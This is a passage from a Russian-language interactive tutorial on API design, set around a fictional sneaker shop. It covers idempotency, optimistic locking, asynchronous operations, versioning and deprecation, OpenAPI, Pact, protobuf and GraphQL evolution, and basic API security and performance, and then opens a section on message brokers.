  expires_at   timestamptz NOT NULL,  -- обычно через 24 часа
  PRIMARY KEY (client_id, key)        -- из двух одновременных вставок пройдёт одна
);

Естественно идемпотентные операции

Лучший ключ идемпотентности — тот, который не нужен. Многие операции можно спроектировать так, что повтор безвреден сам по себе:

«Установи», а не «измени на»

PUT … {"status": "cancelled"} — идемпотентно. «Увеличь количество на 1» — нет: каждый повтор добавит ещё пару кроссовок. Проектируйте команды как «установи значение», где можно.

Естественный уникальный ключ

«Начислить бонусы за заказ ord-1042» — пусть в таблице начислений будет уникальное ограничение на (заказ, причина). Второе начисление просто не вставится.

Клиент задаёт идентификатор

PUT /v1/orders/{uuid-от-клиента} — повтор создаст тот же заказ по тому же адресу, а не второй. Годится, когда клиенту можно доверить выбор идентификатора.

Ключ живёт у клиента

Приложение создаёт ключ, когда Анна начала оплату, и хранит его до окончательного ответа. Новый ключ — только для нового намерения: другая сумма, другая корзина.

Что сохранять, если операция упала. Это решение проекта. Обычно окончательные ответы (2xx и 4xx) сохраняют и отдают при повторе. А при сбое сервера (5xx) ключ освобождают, чтобы повтор мог пройти заново. Запишите выбранное правило в контракт — клиенту важно знать, поможет ли повтор.

«POST /v1/payments требует заголовок Idempotency-Key (UUID). Без заголовка — 400. Повтор с тем же ключом и тем же телом в течение 24 часов возвращает сохранённый ответ первого запроса без повторного списания. Тот же ключ с другим телом — 422 (type = …/idempotency-key-reused). Повтор, пока первый запрос ещё выполняется, — 409; клиент повторяет через время из Retry-After. Ключи привязаны к клиенту (к учётной записи из токена).»

глава 8 · одновременные правки два редактора и одна карточка товара

Утро понедельника. Олег готовит акцию и в админке ставит кроссовкам «Ботинок Air» цену 6 990 вместо 7 980. В ту же минуту Борис правит описание той же карточки: дописывает «водонепроницаемые». Оба открыли карточку в 10:00. Олег сохранил в 10:02, Борис — в 10:03. Через час рассылка обещает покупателям 6 990, а на сайте висит 7 980. Никто не получил ни одной ошибки.

Потерянное обновление (lost update) — одна запись незаметно затирает другую, сделанную параллельно. RFC 9110 прямо называет эту проблему и предлагает против неё условные запросы.
два соавтора правят один документ, скачав его себе. Каждый отправляет обратно свою полную копию. Последний присланный файл и становится документом — правки первого исчезают.
ETag (entity tag, метка сущности) — метка версии представления ресурса. Сервер отдаёт её в заголовке ETag: "v7" и меняет при каждом изменении ресурса.
Оптимистическая блокировка (optimistic locking) — ресурс не запирают на время редактирования. При сохранении клиент говорит: «записывай, только если версия всё ещё "v7"» (If-Match: "v7"). Если версия изменилась — отказ 412 Precondition Failed, клиент перечитывает и повторяет.
правки к договору принимаются «только к редакции № 7». Юрист прислал правки к седьмой, а на столе уже восьмая — правки не вносят вслепую, а просят сверить с новой редакцией.

Живая модель: Олег, Борис и сервер

Как это устроено внутри

-- ETag = номер версии строки
UPDATE products
   SET price = 6990, description = '…', version = version + 1
 WHERE sku = 'BTN-AIR' AND version = 7;   -- версия из If-Match
-- изменена 1 строка  → 200 OK, ETag: "v8"
-- изменено 0 строк   → кто-то успел раньше → 412 Precondition Failed

Почему не «запереть карточку»

Пессимистическая блокировка — «карточку редактирует Олег, остальным нельзя». В вебе она плохо работает: Олег закрыл вкладку и ушёл на обед, а замок висит. Нужны сроки, принудительное снятие, и всё равно кто-то ждёт. Оптимистическая никого не ждёт, а конфликт ловит в момент записи.

Что делать клиенту на 412

Не перезаписывать силой. Перечитать карточку (новый ETag), показать человеку, что изменилось («цену поменял Олег: 7 980 → 6 990»), наложить свои правки на свежую версию и отправить с новым If-Match.

Если If-Match не прислали

Сервер может требовать условный запрос и отвечать 428 Precondition Required (RFC 6585). Так забывчивый клиент не сможет затереть чужие правки.

Сильный и слабый ETag

W/"v8" — слабая метка: «по смыслу то же самое». Годится для кеша. Для If-Match нужна сильная метка без W/ — сравнение там строгое.

Проще говоря. PATCH уменьшает риск (Олег шлёт только цену, Борис — только описание, и они не мешают друг другу). Но если двое меняют одно и то же поле или правка зависит от прочитанного значения («цена минус 10 %»), без If-Match всё равно не обойтись.

«PUT и PATCH /v1/products/{sku} требуют заголовок If-Match со значением ETag из последнего GET. Если карточку изменили после чтения — 412 (Problem Details, type = …/stale-version); интерфейс показывает актуальную версию и различия. Без If-Match — 428.»

глава 9 · тяжёлые операции долго, много, тяжело

Долгие операции: 202 Accepted и ресурс статуса

«Стеллаж» просит отчёт по продажам за год. Сервер собирает его три минуты. Держать HTTP-соединение три минуты нельзя: шлюз оборвёт его через 30–60 секунд и ответит 504, мобильная сеть — ещё раньше. А клиент так и не узнает, собрался отчёт или нет.

Асинхронная операция «запрос — ответ» (asynchronous request-reply) — сервер сразу отвечает 202 Accepted («принято, делаем») и даёт адрес ресурса статуса. Клиент узнаёт результат опросом этого адреса или получает уведомление.
химчистка. Вам не стоять у стойки три дня: дают квитанцию с номером. Можно заходить и спрашивать «готово?», а можно оставить телефон — позвонят сами.
Вебхук (webhook) — обратный вызов по HTTP. Клиент заранее регистрирует свой адрес, и когда событие случилось, ваш сервер сам делает к нему POST.
«не звоните в химчистку каждый час — оставьте номер, мы позвоним». Опрос — это звонить самому. Вебхук — ждать звонка.

Опрос (polling)

Просто, работает через любой файрвол, клиенту не нужен свой сервер. Минус — лишние запросы «ещё нет?». Подсказывайте частоту через Retry-After.

Вебхук

Мгновенно и без лишних запросов. Но у клиента должен быть доступный адрес, а у вас — повторы при неудаче, подпись и журнал доставок.

Вебхук — это ваш API наоборот. Для него действуют те же правила контракта. Подпись: тело подписывают секретом (HMAC), чтобы получатель проверил, что пишете именно вы. Повторы: если получатель не ответил 2xx, доставку повторяют с растущей паузой — значит, получатель должен быть идемпотентным по идентификатору события. Порядок не гарантирован: событие «доставлен» может прийти раньше «отправлен». Быстрый ответ: получатель сразу отвечает 2xx, а обрабатывает потом. Единый формат подписи и заголовков предлагает открытая спецификация Standard Webhooks.

Асинхронные API и AsyncAPI

Когда сервисы обмениваются событиями через брокер (подробно — в разделе ), контракт тоже нужен: какие каналы, какие сообщения, какие поля. Для HTTP его пишут в OpenAPI, а для событий — в AsyncAPI.

AsyncAPI — открытая спецификация для описания асинхронных API: каналы (темы брокера, WebSocket), операции «отправляю» и «получаю», сообщения со схемами. Версия 3.0 вышла в декабре 2023 года, 3.1 — в январе 2026 года (без ломающих изменений). Вебхуки, которые отправляет HTTP-сервис, можно описать и в OpenAPI 3.1 — там для этого есть раздел webhooks.
asyncapi: 3.0.0
info:
  title: События заказов «Ботинка»
  version: 1.2.0
channels:
  orderPaid:
    address: orders.paid            # тема в брокере
    messages:
      orderPaid:
        payload:
          type: object
          required: [eventId, orderId, paidAt]
          properties:
            eventId: { type: string, format: uuid }   # для идемпотентной обработки
            orderId: { type: string }
            paidAt:  { type: string, format: date-time }
operations:
  publishOrderPaid:
    action: send                    # сервис заказов отправляет
    channel:
      $ref: '#/channels/orderPaid'

Массовые операции (batch)

Каждую ночь «Стеллаж» обновляет статусы пяти тысяч заказов. Пять тысяч отдельных запросов — это пять тысяч раз время сети туда и обратно, и партнёр быстро упрётся в лимит (429). Поэтому делают пакетный метод:

POST /v1/order-status-updates
Content-Type: application/json

{ "updates": [
    { "orderId": "ord-1042", "status": "delivered" },
    { "orderId": "ord-9999", "status": "delivered" }
] }

HTTP/1.1 200 OK
{ "results": [
    { "index": 0, "status": 200 },
    { "index": 1, "status": 404, "problem": { "type": "https://api.botinok.example/problems/order-not-found",
                                              "title": "Заказ не найден" } }
] }

Всё или ничего?

Главный вопрос пакета. Атомарный пакет: одна ошибка — откат всего, ответ 422 с номером проблемного элемента. Частичный: каждый элемент сам по себе, ответ со статусом по каждому. Выбор записывают в контракт.

Код ответа

При частичном успехе чаще отвечают 200 с результатами по элементам. Некоторые API используют 207 Multi-Status — код из WebDAV. Клиент повторяет только неуспешные элементы.

Пределы

Максимум элементов в пакете (например, 500) и максимальный размер тела. Пакет на 100 000 элементов — это снова «долгая операция», и ему нужен 202.

Частичные ответы. Это ещё и выбор полей (?fields=, глава 6), и докачка больших файлов по частям: клиент просит Range: bytes=1048576-, сервер отвечает 206 Partial Content. Оборвалась загрузка на 80 % — докачиваем оставшиеся 20 %.

Загрузка файлов: подписанная ссылка

«Стеллаж» загружает фото товаров по 20 МБ. Если гнать их через API-сервер, он держит в памяти мегабайты, соединения висят долго, а трафик идёт дважды: к API и от API в хранилище. Кодировать файл в JSON через base64 — ещё хуже: плюс треть к размеру.

Подписанная ссылка (presigned URL) — временный адрес в хранилище файлов, в который уже «вшито» разрешение на одно действие (например, загрузить один файл) до указанного времени. API выдаёт ссылку, а сам файл идёт прямо в хранилище.
разовый пропуск на склад: на одну машину и на один час. Охрана пускает по пропуску, не звоня начальнику. Час прошёл — пропуск недействителен.
Другие варианты. Маленькие файлы (аватар до 1 МБ) проще передать в самом запросе как multipart/form-data. Для очень больших файлов с докачкой после обрыва есть открытый протокол tus. Что бы вы ни выбрали, в контракте нужны: максимальный размер, допустимые типы файлов, срок жизни ссылки и что происходит с файлом, который загрузили, но не подтвердили.

глава 10 · главный интерактив сломает ли клиента?

Борис хочет переименовать total в totalAmount — «так понятнее». Олег просит подождать: «Давай сначала посмотрим, кто и как это поле читает». Это и есть главный навык раздела — до изменения увидеть, кого оно сломает.

Ломающее изменение (breaking change) — изменение контракта, после которого хотя бы один правильно написанный старый клиент перестаёт работать или начинает работать неверно. Обратная совместимость (backward compatibility) — новая версия сервера работает со старыми клиентами без их доработки.
Толерантный читатель (tolerant reader, термин Мартина Фаулера) — клиент, который читает только нужные ему поля, пропускает незнакомые и не падает на неизвестном значении перечисления. Старый принцип из сетевых стандартов (закон Постела) говорит о том же: «будь строг в том, что отправляешь, и снисходителен к тому, что принимаешь».
кассир, который по квитанции проверяет только номер счёта и сумму. Если на бланке появилась реклама или новая графа, он её просто не читает — и продолжает принимать платежи.

Попробуйте сами: выкатите изменение

Слева — исходный контракт заказа: ответ на GET и запрос на создание. Справа — три клиента. У каждого написано, что он читает и как. Выберите изменение, нажмите «Выкатить» — и смотрите, кто упадёт. Потом нажмите «Как сделать без поломки».

«Стеллаж» проверяет ответы:
Как читать модель. Зелёная строка контракта — добавлено, красная зачёркнутая — удалено, жёлтая — изменено. Пакеты летят от API к клиентам (ответы) или от клиентов к API (запросы на создание заказа). Карточка клиента краснеет, если он падает, и желтеет, если он «тихо» работает неправильно — это самые опасные случаи: никто не узнает о поломке, пока не придут жалобы.

Полная таблица: что ломает, а что нет

Нажмите на строку, чтобы увидеть пояснение. Обратите внимание на направление: для ответов (сервер пишет, клиент читает) и запросов (клиент пишет, сервер читает) правила зеркальные. В ответе можно добавлять, но нельзя ослаблять обещания. В запросе можно ослаблять требования, но нельзя их ужесточать.

Если без ломающего изменения никак: версии

Где версияКак выглядитПлюсыМинусы
В пути/v1/orders, /v2/ordersВидно глазами, легко маршрутизировать на шлюзе, различают кеши и журналы.Версия сразу у всего API, даже если поменялся один ресурс.
В заголовкеAPI-Version: 2; версия-дата, как у GitHub: X-GitHub-Api-Version: 2022-11-28Адреса не меняются. Удобно выпускать версии часто, по датам.Не видно в адресе, сложнее отлаживать в браузере. Кешам нужен Vary по этому заголовку.
В типе содержимогоAccept: application/vnd.botinok.order.v2+jsonВерсия у конкретного представления ресурса — самый «правильный» с точки зрения REST вариант.Самый неудобный на практике: сложно тестировать и документировать.
В параметре?api-version=2026-09-01 (так делает Microsoft Azure)Просто передать из любого клиента.Легко забыть; нужна версия по умолчанию, а она сама становится контрактом.
Проще говоря. Частая практика: основная версия в пути (/v1) меняется раз в несколько лет, а все повседневные изменения делаются совместимыми без новой версии — по циклу «расширь — мигрируй — сузь» (разобран в разделе ). Сам файл контракта нумеруют по смысловому версионированию: 1.4.0 → 1.5.0 — добавили совместимое, 2.0.0 — сломали. Каждая живая основная версия — это отдельная ветка кода, тестов и документации. Удалить v1 нельзя, пока на ней кто-то сидит.

Вывод из эксплуатации: как попрощаться со старым

1
Объявить. Запись в журнале изменений, письмо партнёрам, страница «как перейти». В OpenAPI у операции или поля ставят deprecated: true.Сразу называют дату отключения — иначе «потом удалим» не наступит никогда.
2
Помечать каждый ответ. Заголовок Deprecation (RFC 9745, 2025) — с какой даты ресурс устарел. Заголовок Sunset (RFC 8594, 2019) — после какой даты перестанет отвечать. Ссылка на инструкцию — в заголовке Link.Так о выводе узнают даже те, кто не читает рассылки: их клиенты видят заголовки в каждом ответе.
3
Измерять. По журналам считать, какие клиенты и версии приложения ещё ходят в старое. Писать им лично.Мобильное приложение передаёт свою версию (например, в заголовке User-Agent), поэтому видно, сколько телефонов ещё на 3.2.
4
Выдержать срок. Для публичного API обычно 6–12 месяцев. Для мобильного — пока доля старых версий не упадёт ниже порога, например 2 %; остальным показывают экран «обновите приложение».Некоторые компании перед отключением устраивают «плановые затемнения»: выключают старую версию на час, чтобы проснулись забытые клиенты.
5
Отключить. После даты Sunset старый адрес отвечает 410 Gone («было и убрано навсегда») с Problem Details и ссылкой на инструкцию, а не загадочным 404.
HTTP/1.1 200 OK
Content-Type: application/json
Deprecation: @1790812800
Sunset: Wed, 31 Mar 2027 23:59:59 GMT
Link: <https://developer.botinok.example/migrate-to-v2>; rel="deprecation"; type="text/html"

Обратите внимание на форматы дат — они разные по историческим причинам. Deprecation по RFC 9745 — это «дата структурированного поля»: знак @ и число секунд с 1 января 1970 года по UTC (здесь — 1 октября 2026 года, 00:00 UTC). Sunset по RFC 8594 — обычная HTTP-дата.

«Поле customer.phone устарело с 01.10.2026 и будет удалено из ответа GET /v1/orders/{orderId} 31.03.2027. До этой даты ответы содержат заголовки Deprecation и Sunset. Замена — ресурс /v1/customers/{customerId}/contacts. Ответственный за уведомление партнёров — владелец продукта API.»

глава 11 · контракт в файле OpenAPI построчно

Все договорённости из прошлых глав Олег записывает не в вики, а в файл, который понимают программы.

OpenAPI (OpenAPI Specification) — открытый стандарт описания HTTP API в формате YAML или JSON. Раньше назывался Swagger; теперь Swagger — название набора инструментов. Версии: 3.0 (2017), 3.1 (2021: полная совместимость с JSON Schema 2020-12), 3.2 (сентябрь 2025: иерархические теги, метод QUERY, потоковые форматы вроде SSE, параметр in: querystring). Версия 3.2 обратно совместима с 3.1.
чертёж дома. По нему строитель строит, инспектор проверяет, риелтор рисует буклет, а покупатель заранее видит, куда встанет диван. Один документ — много пользователей, и никто не спорит, где дверь.

Разберите файл: нажимайте на строки

Фрагмент контракта API заказов. Серые строки — служебные; остальные кликабельны.

Что делают с этим файлом

Генерация кода и документации

Генераторы (например, OpenAPI Generator) создают по файлу клиентские библиотеки и заготовки сервера для десятков языков. Документацию с кнопкой «попробовать» строят Swagger UI, Redoc и похожие инструменты. Документация больше не расходится с кодом: она и есть контракт.

Линтинг: Spectral

Линтер проверяет файл на правила стиля: у каждой операции есть operationId, пути в нижнем регистре через дефис, ошибки в application/problem+json. Правила лежат в .spectral.yaml и запускаются в сборке. Руководство по стилю API превращается из PDF в автоматическую проверку.

Поиск ломающих изменений

Утилиты сравнения контрактов (например, oasdiff) сравнивают новую версию файла со старой и валят сборку, если нашли ломающее изменение: удалено поле, появилось обязательное поле в запросе, сменился тип.

Мок-сервер

Мок-сервер (например, Prism или WireMock) поднимается прямо по файлу и отвечает примерами из него. Мобильщики и «Стеллаж» начинают интеграцию в первый день, не дожидаясь Бориса.

# .spectral.yaml — правила стиля API «Ботинка»
extends: ["spectral:oas"]          # базовые правила для OpenAPI
rules:
  paths-kebab-case:
    description: Пути — только строчные буквы, цифры и дефис
    given: "$.paths[*]~"            # ~ означает «ключи»: сами пути
    severity: error
    then:
      function: pattern
      functionOptions:
        match: "^(/([a-z0-9-]+|\\{[a-zA-Z]+\\}))+$"

Контрактные тесты: Pact и договоры от потребителя

Контракт, управляемый потребителем (consumer-driven contract) — каждый потребитель сам записывает, какие запросы он шлёт и какие поля ответа ему действительно нужны. Сборка поставщика проверяет себя по всем таким записям. Самый известный инструмент — Pact.
перед ремонтом управляющая компания обходит квартиры и записывает, у кого где стоит стиральная машина и куда подведена вода. Прежде чем менять трубы, бригада сверяется со списком — и не отрезает воду тем, кто в нём есть.
1
Потребитель пишет тест. Мобильное приложение в своих тестах описывает: «шлю GET /v1/orders/ord-1042, жду 200 и поля id, status, total — целое число». Тест гоняется против заглушки Pact.
2
Получается файл-договор (pact). Его публикуют в общий брокер договоров (Pact Broker).
3
Поставщик проверяет себя. Сборка сервиса заказов проигрывает все договоры всех потребителей против настоящего сервера. Борис переименовал total — упал договор мобильного приложения, и сборка красная ещё до выкладки.
4
Перед выкладкой — «можно ли?». Команда can-i-deploy спрашивает брокер: совместима ли эта версия со всеми версиями потребителей, которые сейчас работают в бою.
OpenAPI или Pact? Не «или», а «и». OpenAPI описывает всё, что поставщик обещает. Pact — то, чем потребители реально пользуются. Первое нужно для документации и генерации. Второе точно отвечает на вопрос «кого сломает это изменение».

глава 12 · другие протоколы gRPC и GraphQL: как растут схемы

Внутри «Ботинка» склад и заказы говорят по gRPC, а приложению для витрины сделали GraphQL. Как устроены эти способы связи, рассказано в разделе . Здесь — только эволюция схем: что можно менять и как не сломать соседей.

Protobuf: поле — это номер, а не имя

syntax = "proto3";

message Order {
  string id = 1;
  OrderStatus status = 2;
  int64 total = 3;               // сумма в копейках
  string currency = 4;
  reserved 5;                    // было: string phone = 5; удалено в версии 1.3
  reserved "phone";              // и имя тоже нельзя занять снова
  optional string delivery_date = 6;   // optional: можно отличить «нет» от «пусто»
  repeated Item items = 7;
}

enum OrderStatus {
  ORDER_STATUS_UNSPECIFIED = 0;  // нулевое значение — «не указано»
  ORDER_STATUS_NEW = 1;
  ORDER_STATUS_PAID = 2;
  ORDER_STATUS_SHIPPED = 3;
}

По проводу летят номера

В двоичном формате Protobuf поле опознаётся по номеру, а не по имени. Имя нужно только для кода и для JSON-представления. Поэтому номер существующего поля менять нельзя никогда.

reserved — могила для номера

Удалили поле — зарезервируйте его номер и имя. Если номер 5 занять новым полем string address = 5, старые клиенты прочтут адрес как телефон — и никто не заметит.

Новые поля — безопасно

Добавить поле с новым номером можно: старый код незнакомое поле пропустит. Новый код, получив сообщение от старого, увидит значение по умолчанию.

optional и значения по умолчанию

Обычное поле proto3 не отличает «прислали 0» от «не прислали». Ключевое слово optional (штатно с protobuf 3.15) добавляет признак присутствия. Для перечислений нулевое значение — всегда «не указано»; новое значение у старого клиента окажется нераспознанным числом, и у кода должна быть ветка «иначе».

Проверку ломающих изменений .proto ставят в сборку — например, командой buf breaking, которая сравнивает схему с предыдущей версией.

GraphQL: эволюция без версий

type Order {
  id: ID!
  status: OrderStatus!
  total: Int! @deprecated(reason: "Используйте totalAmount: сумма с копейками и валютой")
  totalAmount: Money!
}

Добавлять — всегда можно

Клиент GraphQL сам перечисляет нужные поля. Новое поле старый клиент просто не запросит — поэтому добавление ничего не ломает.

Удалять — через @deprecated

Поле или значение перечисления помечают @deprecated(reason: …). Инструменты подсвечивают его у разработчиков клиентов, а сервер видит статистику: кто ещё запрашивает старое поле. Когда таких не осталось — удаляют.

Обязательность

Зеркальное правило REST: сделать поле ответа из Int! необязательным Int — ломает (клиент не ждёт null). Сделать аргумент из необязательного обязательным — ломает запросы.

Новое значение enum

Как и в REST: клиенты со строгим перечислением падают. Договаривайтесь заранее, что список может расти, и проверяйте по статистике использования.

Тренажёр: совместимо, осторожно или ломает?

Решено 0 из 0.

глава 13 · безопасность и скорость чтобы API не взломали и не ждали

Коротко о безопасности — ровно то, что аналитик обязан записать в постановку. Подробно о защите — в разделах и .

🔐 Аутентификация: кто вы

Приложение Анны и «Стеллаж» приходят с токеном OAuth 2.0: Authorization: Bearer …. Партнёр получает токен как сервис (поток client credentials), Анна — через вход в приложение. Нет токена или он истёк — 401.

🎫 Scope: что вам можно

Scope (область доступа) — право, записанное в токене: orders:read, orders:write. «Стеллажу» выдают только то, что нужно для его сценария. Не хватает scope — 403.

BOLA (Broken Object Level Authorization — сломанная проверка доступа к объекту) — сервер проверил, что токен настоящий, но не проверил, что этот заказ принадлежит этому пользователю. Первое место в списке OWASP API Security Top 10 (2023).
гардероб, где номерок проверяют только на подлинность, но не сверяют с крючком. Покажите любой настоящий номерок — и вам выдадут любое пальто.

Лишние поля в запросе

Приложение прислало в PATCH не только адрес, но и "status": "paid" или "price": 1. Если сервер записывает всё подряд — это «массовое присваивание». Принимайте только поля из контракта для этой операции и отдавайте только нужные. В OWASP это пункт API3:2023.

Лимиты и размеры

Квота на клиента (например, «Стеллажу» 50 запросов в секунду), превышение — 429 с Retry-After. Максимальный размер тела — иначе 413 Content Too Large. Максимальный limit в списках. В OWASP это API4:2023 — «неограниченное потребление ресурсов». Механика лимитов — в разделе .

CORS

CORS (Cross-Origin Resource Sharing) — правило браузера: скрипт со страницы одного сайта может читать ответы API другого сайта, только если API разрешил это заголовком Access-Control-Allow-Origin. Для «непростых» запросов браузер сначала шлёт предварительный OPTIONS. CORS защищает пользователей браузера, а не ваш API: серверы и утилиты его не соблюдают. * вместе с передачей cookies браузер не примет.

Мелочи, которые важны

Только HTTPS. Никаких токенов и персональных данных в адресе: адрес оседает в журналах шлюзов и в истории браузера. Ошибки без внутренностей (глава 5). Непрозрачные идентификаторы (глава 2).

Скорость: кеш, сжатие, «болтливость»

Кеширование HTTP

Каталог товаров меняется редко: Cache-Control: public, max-age=300 — пять минут его можно брать из кеша браузера, CDN или шлюза. Персональное — private, чувствительное — no-store. Повторная проверка: клиент шлёт If-None-Match: "v8", сервер отвечает 304 Not Modified без тела. Запрос всё равно идёт, но трафика почти нет. Подробно — в разделе .

Сжатие

Клиент говорит Accept-Encoding: gzip, br, сервер отвечает Content-Encoding: br. JSON с его повторяющимися именами полей сжимается в разы — для мобильной сети это заметно.

Болтливый API (chatty) — чтобы нарисовать один экран, клиент делает много мелких запросов. Крупный API (chunky) — один запрос приносит всё, что нужно экрану.
сходить в магазин за продуктами к ужину. Можно пять раз сбегать за каждым продуктом отдельно, а можно один раз по списку. Дорога туда и обратно — это и есть задержка сети. В магазине вы проводите одинаковое время, а вот на дорогу — в пять раз больше.

N+1 на уровне API — частый случай болтливости. Экран списка загрузил 20 заказов (1 запрос), а потом для каждого отдельно запросил позиции (ещё 20). Лечится так: включать связанные данные в ответ (?include=items), читать пачкой (GET /v1/orders?ids=…) или завести BFF.

BFF (Backend for Frontend, «бэкенд для фронтенда») — отдельный серверный слой под конкретного клиента. Мобильный BFF внутри дата-центра сам обходит пять сервисов по быстрой сети и отдаёт экрану один готовый ответ. Подробно — в разделе .

Калькулятор: сколько ждёт экран «Мой заказ»

Экрану нужны заказ, позиции, доставка, статус оплаты и рекомендации. Часть запросов зависит друг от друга: чтобы спросить доставку, сначала нужен номер заказа. Это «цепочка».

6
2
150 мс
40 мс

«Экран „Мой заказ“ загружается одним запросом к мобильному BFF: GET /bff/v1/screens/order/{orderId}. Время ответа BFF — не более 400 мс для 95 % запросов при 200 запросах в секунду. Ответ кешируется на клиенте на 30 секунд (Cache-Control: private, max-age=30).»

глава 14 · постановка как аналитику описать метод API

Всё, о чём мы говорили, Олег собирает в описание каждого метода. Хорошая постановка отвечает на вопросы разработчика, тестировщика и партнёра до того, как они их зададут. Как оформлять остальную архитектурную документацию — решения, схемы, описания систем, — рассказано в разделе .

Шаблон описания метода

Пример: параметры тела для POST /v1/orders

ПолеТипОбяз.Формат и ограниченияПримерОписание
itemsмассивда1–50 элементов—Позиции заказа
items[].skuстрокадашаблон ^[A-Z0-9-]{3,32}$; товар есть в каталогеBTN-AIR-42Артикул товара с размером
items[].qtyцелоеда1–101Количество
addressобъектдасм. «Адрес»—Адрес доставки
deliveryDateстроканетдата RFC 3339 (ГГГГ-ММ-ДД), не раньше завтра, не позже +30 дней2026-10-03Желаемая дата. Нет — ближайшая доступная
commentстроканетдо 500 символов; null = нет комментариядомофон не работаетКомментарий курьеру
externalIdстроканетдо 64 символов; уникален в рамках партнёраSTL-55120Номер заказа в системе партнёра

Частые ошибки в постановках

Конструктор эндпоинта

Выберите задачу. Предложите метод, адрес, код успешного ответа и главную ошибку. Нажмите «Проверить» — получите разбор. Иногда верных вариантов несколько: конструктор это учитывает. Решено 0 из 8.

Метод
Адрес
Успех
Главная ошибка

глава 15 · проверь себя двенадцать вопросов

Вопросы — по всем главам. После ответа появится разбор. Решено 0 из 0.

Дальше → брокеры сообщений: Kafka и RabbitMQ — как устроены очереди и журналы событий, и чем они отличаются

Брокер сообщений — это почта между сервисами: отправитель сдаёт письмо и идёт дальше, а почта хранит его, пока адресат не заберёт. Раздел проведёт одна история: магазин кроссовок «Ботинок» готовится к Чёрной пятнице. Заказы должны дойти до склада, уведомлений и аналитики — даже если кто-то из них упал, тормозит или его ещё не существует. По дороге разберём Kafka и RabbitMQ по винтику: партиции, смещения, реплики, подтверждения, обменники. Всё можно ломать руками.

зачем это зачем магазину брокер сообщений

карта раздела одна Чёрная пятница, шестнадцать глав

Читайте по порядку: каждая глава опирается на предыдущую. Раздел углубляет главы 6–7 раздела «Как сервисы говорят»: там — идея очереди и события, здесь — как это устроено внутри настоящих брокеров. Кнопка переносит к главе.

глава 1 · завязка Чёрная пятница: почему заказ нельзя «просто отправить складу»

Магазин кроссовок «Ботинок». В обычный день приходит около ста заказов в минуту. В полночь Чёрной пятницы — в двадцать раз больше. Каждый заказ нужен четырём сервисам:

🛒 Заказы

Принимают заказ Анны и сохраняют его. С них всё начинается.

📦 Склад

Резервирует пару кроссовок, чтобы её не продали второй раз.

✉️ Уведомления

Шлют SMS и письмо «Заказ принят».

📊 Аналитика

Считает продажи для утреннего отчёта аналитика Олега.

Год назад сервис заказов звонил каждому из трёх напрямую и ждал ответа. В 00:03 аналитика не выдержала нагрузки и стала отвечать по 10 секунд. Заказы ждали её, и через минуту магазин не принимал ни одного заказа. Так один медленный сосед роняет всех — подробно этот эффект разобран в разделе «Устойчивость».

Разработчик Борис предложил: пусть заказы не звонят, а оставляют сообщение в специальном месте. Кому нужно — заберёт сам, когда сможет. Это место и называется брокером.

Брокер сообщений (message broker) — отдельная программа-посредник между сервисами. Сервис отдаёт ей сообщение и сразу идёт дальше. Брокер надёжно хранит сообщение и выдаёт его тем, кому оно нужно, тогда, когда они готовы его взять.
почтовое отделение. Вы не стоите у двери адресата, пока он вернётся с работы, — вы сдаёте письмо на почту и уходите. Почта хранит, сортирует и доставляет. Адресат в отпуске? Письмо подождёт в ячейке.

Продюсер (producer)

Тот, кто отправляет сообщение в брокер. У нас — сервис заказов. Ещё говорят «издатель», «отправитель».

Консьюмер (consumer)

Тот, кто забирает и обрабатывает сообщение. У нас — склад, уведомления, аналитика. Ещё говорят «потребитель», «подписчик».

Сообщение (message, record)

Порция данных: ключ (о ком речь), тело (что случилось), заголовки (служебные пометки) и время.

Четыре выгоды брокера

1. Развязка по времени

Получатель может быть выключен. Склад перезапускается две минуты — заказы продолжают приниматься, сообщения ждут. Отправителю не нужно, чтобы получатель был жив прямо сейчас.

2. Развязка по знанию

Отправитель не знает, кто получатели и где они живут. Через год появится сервис бонусов — в коде заказов не изменится ни строчки. Бонусы просто начнут читать.

3. Сглаживание пиков

Брокер работает как водохранилище. В полночь приходит в двадцать раз больше заказов, а склад разбирает их в своём темпе. Отказ превращается в задержку.

4. Одно событие — многим

Одно сообщение «Заказ оформлен» читают четыре сервиса. Отправитель публикует его один раз, а не звонит четырежды.

водохранилище перед гидроэлектростанцией. Весной река несёт в десять раз больше воды, но турбины крутятся ровно: излишек копится за плотиной и уходит потом. Без плотины — наводнение внизу и пересохшее русло летом.

Пик Чёрной пятницы: посчитайте сами

Склад умеет резервировать фиксированное число заказов в минуту. В обычное время приходит 100 заказов в минуту. С 00:05 до 00:15 — пик. Двигайте ползунки и переключайте способ связи. Столбики — минуты с 00:00 до 00:40.

2000
400
00:0000:1000:2000:3000:40
Брокер не ускоряет склад. Он превращает «отказ» в «задержку». Если склад медленнее входящего потока не в пике, а всегда, очередь растёт бесконечно. Тогда нужен второй и третий экземпляр склада — как они делят работу, разберём в главе 4.
Когда брокер НЕ нужен. Когда ответ нужен прямо сейчас: «сколько пар осталось на складе?» — это синхронный запрос. Когда отправитель и получатель — один модуль внутри монолита. Когда нагрузка маленькая, получатель один, а команда из трёх человек не готова дежурить у кластера: хватит таблицы-очереди в базе (см. Outbox) или облачной очереди. Брокер — это ещё одна система, которую надо держать живой.
«Приём заказа не должен зависеть от доступности сервисов склада, уведомлений и аналитики. Сервис заказов публикует событие OrderPlaced в брокер и отвечает покупателю, не дожидаясь обработки. Пиковая нагрузка — до 2 000 заказов в минуту в течение 15 минут; задержка резервирования на складе в пике — не более 10 минут, вне пика — не более 5 секунд (p99).»

глава 2 · три способа доставки почтовое отделение, доска объявлений или журнал регистрации

Брокеры бывают разные, но почти все они — вариации трёх бытовых идей. Разница в двух вопросах: сколько получателей у одного сообщения и что с ним происходит после прочтения.

Очередь (queue), или связь «точка-точка» (point-to-point) — каждое сообщение достаётся одному получателю из нескольких желающих. После подтверждения обработки сообщение удаляется. Так работают очереди RabbitMQ, Amazon SQS, Yandex Message Queue.
почтовое отделение. Письмо лежит в ячейке, пока его не заберут. Забрал один человек — в ячейке пусто, второму не достанется. Если в семье трое, кто первый дошёл до почты, тот и забрал.
Публикация-подписка (publish/subscribe, pub/sub) — каждое сообщение получает каждый подписчик: брокер делает копию для каждого. Кто подписался позже, старых сообщений не увидит. Так работают Amazon SNS, обменник fanout в RabbitMQ, «ядро» NATS.
доска объявлений у подъезда. Объявление видят все жильцы. Но через неделю его снимут, и новый жилец, въехавший в пятницу, не узнает, что во вторник отключали воду.
Журнал (log) — сообщения записываются по порядку и не удаляются после прочтения. Каждый читатель помнит свою закладку — номер последней прочитанной записи — и сам решает, откуда читать. Можно перечитать историю. Так работают Kafka, потоки (streams) RabbitMQ, Redis Streams, JetStream в NATS.
